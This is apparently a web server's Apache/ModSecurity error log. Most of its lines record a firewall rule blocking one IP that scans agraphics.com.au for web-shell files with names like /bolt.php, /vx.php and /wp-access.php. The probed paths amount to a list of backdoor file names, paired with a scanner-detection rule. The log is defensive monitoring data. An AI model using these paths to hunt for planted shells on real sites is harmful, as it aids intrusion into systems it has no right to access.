[Thu Mar 26 11:10:53.135001 2026] [:error] [pid 31670:tid 31687] [client 20.203.196.218:65167] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acSjvTXVthXxCnWjOTSrdgAAAU8"]
[Thu Mar 26 11:10:53.868533 2026] [:error] [pid 31780:tid 31827] [client 20.203.196.218:58896] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acSjvZJDwZsy5O4ZXEgB8AAAAgc"]
[Thu Mar 26 11:10:54.501850 2026] [:error] [pid 31780:tid 31841] [client 20.203.196.218:55785] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acSjvpJDwZsy5O4ZXEgB9gAAAhQ"]
[Thu Mar 26 11:10:55.122771 2026] [:error] [pid 31670:tid 31684] [client 20.203.196.218:1336] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acSjvzXVthXxCnWjOTSrhgAAAUw"]
[Thu Mar 26 11:10:55.721481 2026] [:error] [pid 31717:tid 31735] [client 20.203.196.218:58897] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acSjv7-SCF7YDISDX4-aYAAAAY0"]
[Thu Mar 26 11:10:56.284866 2026] [:error] [pid 19710:tid 19733] [client 20.203.196.218:57429] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acSjwAVEWP8Ar68Njk7FlQAAAAs"]
[Thu Mar 26 11:10:56.906058 2026] [:error] [pid 19711:tid 19765] [client 20.203.196.218:56320] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acSjwGj3l1y81GYfluRhxgAAAFA"]
[Thu Mar 26 11:10:57.800944 2026] [:error] [pid 31778:tid 31793] [client 20.203.196.218:1307] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acSjwQ3kybI2o-xasmCFswAAAcA"]
[Thu Mar 26 11:10:58.410459 2026] [:error] [pid 31780:tid 31823] [client 20.203.196.218:1843] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acSjwpJDwZsy5O4ZXEgCCgAAAgM"]
[Thu Mar 26 11:10:59.158142 2026] [:error] [pid 31717:tid 31744] [client 20.203.196.218:55745] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acSjw7-SCF7YDISDX4-aagAAAZY"]
[Thu Mar 26 11:11:00.091271 2026] [:error] [pid 31670:tid 31672] [client 20.203.196.218:56370] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acSjxDXVthXxCnWjOTSrkwAAAUA"]
[Thu Mar 26 11:11:00.865089 2026] [:error] [pid 31717:tid 31739] [client 20.203.196.218:56368] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "acSjxL-SCF7YDISDX4-abQAAAZE"]
[Thu Mar 26 11:11:01.578302 2026] [:error] [pid 31778:tid 31805] [client 20.203.196.218:1822] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acSjxQ3kybI2o-xasmCFuAAAAcw"]
[Thu Mar 26 11:11:02.204043 2026] [:error] [pid 31778:tid 31816] [client 20.203.196.218:1289] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acSjxg3kybI2o-xasmCFuwAAAdc"]
[Thu Mar 26 11:11:02.843453 2026] [:error] [pid 31778:tid 31795] [client 20.203.196.218:58899] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acSjxg3kybI2o-xasmCFwgAAAcI"]
[Thu Mar 26 11:11:03.432574 2026] [:error] [pid 60829:tid 60846] [client 20.203.196.218:1804] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acSjx_TdjHKeZokybaRidgAAAQ8"]
[Thu Mar 26 11:11:04.055361 2026] [proxy_fcgi:error] [pid 19818:tid 19824] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:04.310122 2026] [proxy_fcgi:error] [pid 19818:tid 19841] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:04.578869 2026] [proxy_fcgi:error] [pid 19818:tid 19820] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:04.847155 2026] [proxy_fcgi:error] [pid 19818:tid 19831] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:05.087297 2026] [proxy_fcgi:error] [pid 19818:tid 19833] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:05.327114 2026] [proxy_fcgi:error] [pid 19818:tid 19840] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:05.699952 2026] [proxy_fcgi:error] [pid 19818:tid 19822] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:05.938515 2026] [proxy_fcgi:error] [pid 19818:tid 19839] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:06.178125 2026] [proxy_fcgi:error] [pid 19818:tid 19825] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:06.418594 2026] [proxy_fcgi:error] [pid 19818:tid 19836] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:06.657654 2026] [proxy_fcgi:error] [pid 19818:tid 19829] [client 20.203.196.218:53020] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:11:06.893004 2026] [:error] [pid 19818:tid 19832] [client 20.203.196.218:53020] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acSjyszaSnm3d1BeM5Xz4QAAAMw"]
[Thu Mar 26 11:11:07.561188 2026] [:error] [pid 19818:tid 19834] [client 20.203.196.218:1808] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acSjy8zaSnm3d1BeM5Xz4wAAAM4"]
[Thu Mar 26 11:11:08.230558 2026] [:error] [pid 60829:tid 60838] [client 20.203.196.218:56355] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acSjzPTdjHKeZokybaRieQAAAQc"]
[Thu Mar 26 11:11:08.810506 2026] [:error] [pid 19712:tid 19795] [client 20.203.196.218:56332] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acSjzNWhKhRNqm23vFPzawAAAJM"]
[Thu Mar 26 11:11:09.512332 2026] [:error] [pid 19711:tid 19771] [client 20.203.196.218:58541] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acSjzWj3l1y81GYfluRh0gAAAFY"]
[Thu Mar 26 11:11:10.371389 2026] [:error] [pid 19818:tid 19824] [client 20.203.196.218:53006] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acSjzszaSnm3d1BeM5Xz6QAAAMQ"]
[Thu Mar 26 11:11:10.898852 2026] [:error] [pid 19818:tid 19834] [client 20.203.196.218:55793] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acSjzszaSnm3d1BeM5Xz7AAAAM4"]
[Thu Mar 26 11:11:11.625588 2026] [:error] [pid 31780:tid 31825] [client 20.203.196.218:53000] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acSjz5JDwZsy5O4ZXEgCGQAAAgU"]
[Thu Mar 26 11:11:12.200119 2026] [:error] [pid 31780:tid 31843] [client 20.203.196.218:55789] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acSj0JJDwZsy5O4ZXEgCHQAAAhY"]
[Thu Mar 26 11:11:12.694075 2026] [:error] [pid 31780:tid 31844] [client 20.203.196.218:1319] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acSj0JJDwZsy5O4ZXEgCHwAAAhc"]
[Thu Mar 26 11:11:13.183353 2026] [:error] [pid 60829:tid 60848] [client 20.203.196.218:53036] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acSj0fTdjHKeZokybaRifQAAARE"]
[Thu Mar 26 11:11:13.916160 2026] [:error] [pid 31780:tid 31825] [client 20.203.196.218:52992] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acSj0ZJDwZsy5O4ZXEgCJgAAAgU"]
[Thu Mar 26 11:11:14.540922 2026] [:error] [pid 31670:tid 31686] [client 20.203.196.218:1842] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acSj0jXVthXxCnWjOTSroQAAAU4"]
[Thu Mar 26 11:11:15.169335 2026] [:error] [pid 31780:tid 31826] [client 20.203.196.218:56325] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acSj05JDwZsy5O4ZXEgCKAAAAgY"]
[Thu Mar 26 11:11:15.739160 2026] [:error] [pid 31717:tid 31734] [client 20.203.196.218:65198] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acSj07-SCF7YDISDX4-aeAAAAYw"]
[Thu Mar 26 11:11:17.383014 2026] [:error] [pid 19818:tid 19827] [client 20.203.196.218:1326] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acSj1czaSnm3d1BeM5Xz9gAAAMc"]
[Thu Mar 26 11:11:18.126606 2026] [:error] [pid 31717:tid 31730] [client 20.203.196.218:1280] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acSj1r-SCF7YDISDX4-afAAAAYg"]
[Thu Mar 26 11:11:19.132665 2026] [:error] [pid 31670:tid 31681] [client 20.203.196.218:1342] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acSj1zXVthXxCnWjOTSrqQAAAUk"]
[Thu Mar 26 11:11:19.720550 2026] [:error] [pid 31780:tid 31842] [client 20.203.196.218:58931] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acSj15JDwZsy5O4ZXEgCMAAAAhU"]
[Thu Mar 26 11:11:20.397730 2026] [:error] [pid 31778:tid 31816] [client 20.203.196.218:59392] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "acSj2A3kybI2o-xasmCFzAAAAdc"]
[Thu Mar 26 11:11:23.928339 2026] [:error] [pid 19711:tid 19763] [client 20.203.196.218:58929] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "acSj22j3l1y81GYfluRh1gAAAE4"]
[Thu Mar 26 11:11:26.223154 2026] [:error] [pid 31670:tid 31684] [client 20.203.196.218:65205] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "acSj3jXVthXxCnWjOTSrywAAAUw"]
[Thu Mar 26 11:11:27.808777 2026] [:error] [pid 19710:tid 19734] [client 20.203.196.218:59395] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "acSj3wVEWP8Ar68Njk7FpwAAAAw"]
[Thu Mar 26 11:11:30.210085 2026] [:error] [pid 31717:tid 31738] [client 20.203.196.218:1746] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "acSj4r-SCF7YDISDX4-agAAAAZA"]
[Thu Mar 26 11:11:31.140653 2026] [:error] [pid 31778:tid 31816] [client 20.203.196.218:53046] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acSj4w3kybI2o-xasmCF2QAAAdc"]
[Thu Mar 26 11:11:31.960130 2026] [:error] [pid 19818:tid 19841] [client 20.203.196.218:56336] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acSj48zaSnm3d1BeM5X0GgAAANU"]
[Thu Mar 26 11:11:33.417013 2026] [:error] [pid 19818:tid 19830] [client 20.203.196.218:1288] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acSj5czaSnm3d1BeM5X0IAAAAMo"]
[Thu Mar 26 11:11:34.491695 2026] [:error] [pid 31780:tid 31820] [client 20.203.196.218:1811] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acSj5pJDwZsy5O4ZXEgCSAAAAgA"]
[Thu Mar 26 11:11:36.121739 2026] [:error] [pid 31780:tid 31841] [client 20.203.196.218:53035] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "acSj6JJDwZsy5O4ZXEgCUAAAAhQ"]
[Thu Mar 26 11:11:38.150213 2026] [:error] [pid 31717:tid 31731] [client 20.203.196.218:56377] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "acSj6r-SCF7YDISDX4-ahwAAAYk"]
[Thu Mar 26 11:11:38.848853 2026] [:error] [pid 31778:tid 31803] [client 20.203.196.218:53025] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "acSj6g3kybI2o-xasmCF4AAAAco"]
[Thu Mar 26 11:11:39.942616 2026] [:error] [pid 31780:tid 31822] [client 20.203.196.218:55747] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "acSj65JDwZsy5O4ZXEgCWgAAAgI"]
[Thu Mar 26 11:11:40.751321 2026] [:error] [pid 19818:tid 19838] [client 20.203.196.218:56335] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acSj7MzaSnm3d1BeM5X0MAAAANI"]
[Thu Mar 26 11:11:42.128423 2026] [:error] [pid 31670:tid 31686] [client 20.203.196.218:65215] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acSj7jXVthXxCnWjOTSr_QAAAU4"]
[Thu Mar 26 11:11:43.132854 2026] [:error] [pid 19818:tid 19828] [client 20.203.196.218:65190] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acSj78zaSnm3d1BeM5X0NQAAAMg"]
[Thu Mar 26 11:11:43.899379 2026] [:error] [pid 31670:tid 31681] [client 20.203.196.218:1837] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acSj7zXVthXxCnWjOTSsBAAAAUk"]
[Thu Mar 26 11:11:44.746145 2026] [:error] [pid 31778:tid 31798] [client 20.203.196.218:1825] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "acSj8A3kybI2o-xasmCF5wAAAcU"]
